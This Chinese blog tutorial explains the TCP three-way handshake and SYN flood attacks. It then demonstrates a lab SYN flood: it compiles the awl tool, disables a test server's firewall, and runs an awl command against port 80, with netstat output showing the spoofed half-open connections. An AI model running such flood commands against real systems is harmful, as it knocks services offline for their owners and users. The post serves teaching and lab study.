1. 程式人生 > 其它 >TCP三次握手之-awl工具-SYN洪水攻擊

TCP三次握手之-awl工具-SYN洪水攻擊

一、TCP三次握手

1.1 TCP報文段的頭部格式

1.1.1 報文格式

1.1.2 部分報文內容

  • ACK:TCP協議規定,只有ack=1時,有效,也規定連線建立後,所有傳送的報文ack必須為1。
  • SYN :在連線建立時用來同步序列號,當SYN=1,而ACK=0時,表明這是一個連線請求報文,對方若同意建立連線,則應在響應報文中使SYS=1,和ACK=1,因此,SYN置1,就表示這是一個連線請求或連線接受報文。
  • FIN 終結,用來釋放一個連線,當FIN=1,表明此報文段的傳送方資料已經發送完畢,並要求釋放連線

1.2 三次握手流程

建立tcp 連線是的tcp三次握手,斷開tcp 連線的四次揮手

三次握手過程:

  • Client:我可以給你發資料嗎
  • Server:可以
  • Client:好的,知道了

二、syn-洪水攻擊

2.1 概念

  網站被攻擊多次,其中最猛烈的就是TCP洪水攻擊,即SYNFlood。

  SYNFlood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,傳送大量偽造的TCP連線請求,常用假冒的IP或IP號段發來海量的請求連線的第一個握手包(SYN包),被攻擊伺服器迴應第二個握手包(SYN+ACK包),因為對方是假冒IP,對方永遠收不到包且不會迴應第三個握手包。導致被攻擊伺服器保持大量SYN_RECV狀態的“半連線”,並且會重試預設5次迴應第二個握手包,塞滿TCP等待連線佇列,資源耗盡(CPU滿負荷或記憶體不足),讓正常的業務請求連線不進來。

2.2 原理

  • SYN 洪水攻擊的過程:

  在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端,如果發起的客戶是一個不存在的端,那麼服務端需要耗費一定的數量的系統記憶體來等待這個未決的連線。直到等待關閉超時,一般是等待30~40s,並且可以重傳5,才能釋放連線。

  • 如果惡意者通過IP 欺騙,傳送大量SYN包給受害者系統,導致服務端存在大量未決的連線,並佔用大量記憶體和tcp 連線,從而導致客戶端無法訪問服務端,這就是SYN洪水攻擊的過程。

2.2 模擬攻擊

2.2.1上傳安裝包

1 [root@localhost ~]# cd /usr/src/
2 [root@localhost src]# ls awl軟體進行SYN洪水攻擊-開源沒有後門-awl-0.2
.tar.gz

2.2.2解壓、編譯安裝

[root@localhost src]# tar -zxvf awl軟體進行SYN洪水攻擊-開源沒有後門-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #檢查安裝環境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# awk awl
[root@localhost ~]# which awl #檢視安裝的位置
/usr/local/bin/awl

2.2.3 開始實戰

[root@localhost ~]#

  • 開始攻擊
    • awl 使用引數:
    • 傳送包的介面,如果省略預設是 eth 0
    • -m 指定目標mac,如果-m 沒有指定mac,預設目標mac 就是FF.FF.FF.FF.FF.FF
    • 全 F 就是向同以往段所有主機發出arp 廣播,進行SYN攻擊,還容易使整個區域網癱瘓
    • -d 被攻擊的主機ip
    • -p 被攻擊的主機埠
  • 配置服務端
    [root@localhost ~]# yum -y install httpd
    [root@localhost ~]# systemctl start httpd
    [root@localhost ~]# getenforce #關閉selinux
    Disabled
    [root@localhost ~]# systemctl stop firewalld #關閉防火牆
    [root@localhost ~]#
    [root@localhost ~]# iptables -F
    [root@localhost ~]#
    當我們安裝好後,過濾埠,發現預設只有一個80.
    [root@localhost ~]#
    [root@localhost ~]# netstat -antup |grep 80
    tcp6 0 0 :::80 ::: LISTEN 1412/httpd
  • 客戶端發起攻擊

[root@localhost ~]# arp -n # 檢視arp 快取,如果沒有看到167 的ip ,說明沒有產生連線,可以使用167 ssh 到121 ,然後退出,再次檢視。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默數幾秒,ctrl +C停止操作,在去過濾167httpd服務

[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
會發現產生大量未知的ip地址,並且連線狀態為 SYN-RECV---- 在收到和傳送一個連線請求後等待對方連線請求的確認

2.2.4 小結

  • tcp 三從握手,提供可靠連線
  • udp 支援vxlan ,用於OpenStack 私有云、vlan 不夠用
  • 如果編譯出現以下問題:
    • configure: error:no acceptable C compiler found in $PATH
  • 解決:熟悉tcp 三次握手協議
    • yum -y install gcc-c++
  • 熟悉tcp 三次握手協議

參考文章

https://blog.csdn.net/weixin_42313749/article/details/104686758

本文來自部落格園,作者:Mr-xxx,轉載請註明原文連結:https://www.cnblogs.com/MrLiuZF/p/15132068.html